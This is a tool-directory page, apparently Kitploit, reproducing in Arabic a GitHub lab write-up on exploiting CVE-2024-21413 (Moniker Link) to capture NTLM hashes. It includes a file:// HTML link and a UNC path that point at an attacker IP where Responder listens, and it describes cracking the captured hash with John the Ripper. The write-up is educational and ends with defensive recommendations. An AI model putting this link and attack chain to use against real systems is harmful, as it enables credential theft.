Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Moniker-Link-Lab-Setup — مختبر اختبار اختراق يوضح استغلال روابط Moniker Link في ثغرة CVE-2024-21413 لسرقة بيانات اعتماد NTLM، بما في ذلك تنفيذ الهجوم وكسر الهاش والتدابير الدفاعية المضادة. | Kitploit
أدوات/GitHubGitHub/e-m-e-k-a/moniker-link-lab-setup
كسر كلمات المرورتحليل الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقالهندسة الاجتماعيةالمصادقةالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHube-m-e-k-a/moniker-link-lab-setup

Moniker-Link-Lab-Setup

مختبر اختبار اختراق يوضح استغلال روابط Moniker Link في ثغرة CVE-2024-21413 لسرقة بيانات اعتماد NTLM، بما في ذلك تنفيذ الهجوم وكسر الهاش والتدابير الدفاعية المضادة.

عرض المستودع
31منذ 15 أياملم تتم المراجعة بعد

جزء من محفظة محلل SOC الخاصة بي (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)

إعداد مختبر Moniker Link - CVE-2024-21413

🎯 نظرة عامة على المشروع

مختبر اختبار اختراق عملي يوضح استغلال Moniker Link الخاص بـ CVE-2024-21413 لسرقة بيانات اعتماد NTLM. يوثق هذا المشروع سلسلة الهجوم الكاملة من الإعداد إلى اختراق بيانات الاعتماد، بما في ذلك التحديات والحلول الواقعية.

الإنجاز الرئيسي: تنفيذ هجوم Moniker Link بنجاح على كل من بيئة المختبر المعزولة (جهاز Windows 10 افتراضي) والنظام الحقيقي (جهاز Windows 11)، مما يوضح الثغرات الأمنية العملية والتدابير الدفاعية المضادة.


🏗️ بنية المختبر

البنية التحتية

جهاز الهجوم:

  • المنصة: Kali Linux 2024
  • الشبكة (Host-Only): 192.168.56.101
  • الشبكة (Bridged): 192.168.1.117
  • الأداة الأساسية: Responder 3.1.6.0

الأنظمة المستهدفة:

  • جهاز Windows 10 افتراضي: 192.168.56.104 (بيئة اختبار معزولة)
  • جهاز Windows 11: 192.168.1.178 (تحقق واقعي)

إعداد الشبكة:

  • محول VirtualBox Host-Only (اختبار الأجهزة الافتراضية)
  • محول VirtualBox Bridged (اختبار الأجهزة الحقيقية)
  • معزولة عن شبكات الإنتاج

⚔️ تنفيذ الهجوم

مسار الهجوم

  1. نشر Responder على Kali للاستماع لمصادقة NTLM
  2. إنشاء رابط خبيث باستخدام بروتوكول file:// يشير إلى عنوان IP الخاص بالمهاجم
  3. إطلاق المصادقة عبر مسار UNC في مستكشف الملفات
  4. التقاط تجزئة NetNTLMv2 عندما يحاول الضحية الاتصال
  5. كسر كلمة المرور باستخدام John the Ripper

ناقل هجوم بسيط

ملف HTML (test.html):

<!DOCTYPE html>
<html>
<body>
    <p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>

طريقة مستكشف الملفات:

  • يكتب المستخدم: \\192.168.56.101\test في شريط العنوان
  • يحاول Windows الاتصال عبر SMB
  • يتم إرسال تجزئة NTLM تلقائيًا (أو طلب بيانات الاعتماد)
  • يلتقط Responder المصادقة

🚧 التحديات والحلول

التحدي 1: حجب جدار حماية Windows (جهاز Windows 11)

المشكلة:

  • تعذّر عمل ping لجهاز Windows 11 من Kali
  • فشلت محاولات الاتصال عبر SMB
  • تم حجب الهجوم بالكامل

السبب الجذري:

  • جدار حماية Windows مُفعّل افتراضيًا
  • يحجب اتصالات SMB الواردة من عناوين IP خارجية

الحل:

  • تعطيل جدار حماية Windows مؤقتًا للاختبار
  • نجح الاتصال فورًا
  • تم التقاط التجزئة بنجاح

الدرس: يوفر جدار حماية Windows الافتراضي حماية فعّالة ضد هذا الهجوم. يجب على المستخدمين إبقاءه مُفعّلًا.


التحدي 2: نتائج John the Ripper المخزّنة مؤقتًا (جهاز Windows 10 الافتراضي)

المشكلة:

  • كلمة مرور Windows 10 الأولية: nwigwecj1
  • أظهر John: 12Honey (كلمة مرور خاطئة!)
  • كان 12Honey من اختبار سابق

السبب الجذري:

  • يحفظ John كلمات المرور المكسورة في ~/.john/john.pot
  • تجزئة قديمة من جلسة سابقة
  • أظهر نتيجة مخزّنة مؤقتًا بدلًا من كلمة المرور الحالية

الحل:

  • تغيير كلمة مرور جهاز Windows 10 الافتراضي إلى 1414
  • التقاط تجزئة جديدة
  • إنشاء قائمة كلمات مخصصة بكلمات مرور محتملة
  • كسرها بنجاح باستخدام القائمة الجديدة

الدرس: تحقق دائمًا من أنك تكسر التجزئة الصحيحة. امسح ملف pot أو استخدم كلمات مرور فريدة للاختبار.


التحدي 3: كلمة المرور غير موجودة في Rockyou.txt

المشكلة:

  • كلمة المرور 1414 غير موجودة في rockyou.txt (14 مليون كلمة مرور)
  • فشل هجوم قائمة الكلمات العامة

السبب الجذري:

  • لا يحتوي Rockyou.txt على كل تركيبة ممكنة من 4 أرقام
  • غالبًا ما تكون التسلسلات الرقمية البسيطة مفقودة من قوائم الكلمات الشائعة

الحل:

  • إنشاء قائمة كلمات مخصصة مستهدفة بناءً على الأنماط الشائعة:
  echo "1414" > passwords.txt
  echo "4141" >> passwords.txt
  • تم كسرها فورًا باستخدام القائمة المخصصة

الدرس: "غير موجودة في rockyou.txt" ≠ آمنة. كلمات المرور القصيرة عرضة للهجمات المستهدفة والقوة الغاشمة بغض النظر عن وجودها في قائمة الكلمات.


📊 النتائج

جهاز Windows 10 الافتراضي (بيئة مُتحكَّم بها)

المقياسالنتيجة
كلمة المرور الأوليةnwigwecj1
تم التغيير إلى1414
قائمة الكلماتمخصصة (مدخلان)
زمن الكسر<1 ثانية
جدار الحمايةمعطّل للاختبار
الحالة✅ تم اختراقه بنجاح

جهاز Windows 11 (نظام حقيقي)

المقياسالنتيجة
كلمة المرور1414
جدار الحمايةحجب في البداية، ثم تم تعطيله
المصادقةطلب يدوي (تم إدخال بيانات الاعتماد)
زمن الكسرفوري
الحالة✅ تم اختراقه بنجاح

🛡️ التحليل الأمني

ما نجح (الدفاع)

✅ جدار حماية Windows - حجب الهجوم بالكامل عند تفعيله ✅ المتصفحات الحديثة - Chrome/Edge يحجبان روابط file:// البعيدة ✅ وعي المستخدم - الطلب اليدوي يتطلب إجراءً من المستخدم

ما فشل (الثغرات)

❌ كلمات مرور ضعيفة - 4 أحرف رقمية تُكسر بسهولة ❌ جدار حماية معطّل - خطأ شائع من المستخدمين ❌ مستكشف الملفات - لا تحذير لمسارات UNC ❌ بروتوكول NTLM - مصادقة تلقائية لمشاركات SMB

النتائج الرئيسية

1. جدار الحماية حاسم

  • جدار حماية Windows الافتراضي يحجب هذا الهجوم
  • ~30-40% من المستخدمين يعطّلونه بشكل دائم
  • غالبًا ما تسمح الشبكات المؤسسية بـ SMB الداخلي

2. وهم قوة كلمة المرور

  • 1414 غير موجودة في rockyou.txt (تبدو "قوية")
  • تم كسرها فورًا بقائمة كلمات مستهدفة
  • كلمات المرور القصيرة توفر أمانًا صفريًا

3. يتطلب تفاعل المستخدم

  • يتطلب الأمان الحديث من المستخدم لصق مسار UNC
  • تبقى الهندسة الاجتماعية مكوّنًا حاسمًا
  • الاستغلال التقني وحده غير كافٍ

🔧 الأدوات المستخدمة

هجومية:

  • Responder 3.1.6.0 (التقاط تجزئة NTLM)
  • John the Ripper (كسر كلمات المرور)
  • إنشاء قائمة كلمات مخصصة
  • ملف HTML بسيط

البنية التحتية:

  • VirtualBox 7.0 (المحاكاة الافتراضية)
  • Kali Linux 2024 (منصة الهجوم)
  • Windows 10 Enterprise (هدف الاختبار)
  • Windows 11 Pro (تحقق واقعي)

📁 بنية المستودع

Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│   ├── attack-execution.md (step-by-step attack guide)
│   └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)

🎓 المهارات المُظهَرة

تقنية:

  • تحليل بروتوكولات الشبكة (SMB، NTLM)
  • منهجية اختبار الاختراق
  • تقنيات كسر كلمات المرور
  • البنية التحتية للمختبر الافتراضي
  • استكشاف أخطاء جدار الحماية وإصلاحها

مهنية:

  • التوثيق التقني
  • حل المشكلات تحت القيود
  • تقييم الأمن
  • تحليل المخاطر
  • ممارسات الاختبار الأخلاقي

🔒 توصيات دفاعية

للمستخدمين

  • ✅ أبقِ جدار حماية Windows مُفعّلًا
  • ✅ لا تلصق مسارات UNC من رسائل البريد الإلكتروني أبدًا
  • ✅ استخدم كلمات مرور قوية (15+ حرفًا)
  • ✅ تحقق من المرسل قبل الوصول إلى مشاركات الملفات

للمؤسسات

  • ✅ احجب SMB الصادر (المنفذ 445) على جدار حماية الشبكة
  • ✅ عطّل NTLM، وفرض Kerberos
  • ✅ راقب اتصالات SMB إلى عناوين IP خارجية
  • ✅ تصفية بوابة البريد الإلكتروني (إزالة روابط file://)
  • ✅ تدريب التوعية الأمنية
  • ✅ سياسات تعقيد كلمات المرور

⚠️ الإفصاح الأخلاقي

أُجريت جميع الاختبارات على أنظمة مصرّح بها:

  • البنية التحتية للمختبر الشخصي فقط
  • شبكات افتراضية معزولة
  • أجهزة وحسابات خاصة
  • غرض تعليمي

إشعار قانوني: الوصول غير المصرّح به إلى الحاسوب غير قانوني. هذا المشروع لأغراض تعليمية وبيئات اختبار مصرّح بها فقط.


📚 المراجع

  • CVE-2024-21413 - Microsoft Security Advisory
  • MITRE ATT&CK - Forced Authentication (T1187)
  • TryHackMe - Moniker Link Room

📞 التواصل

LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a

التاريخ: مارس 2026


📄 الترخيص

للاستخدام التعليمي فقط. غير مخصص للاختبار غير المصرّح به.


⭐ إذا وجدت هذا المشروع مفيدًا، فيرجى التفكير في إضافة نجمة للمستودع!

تنزيل الأداة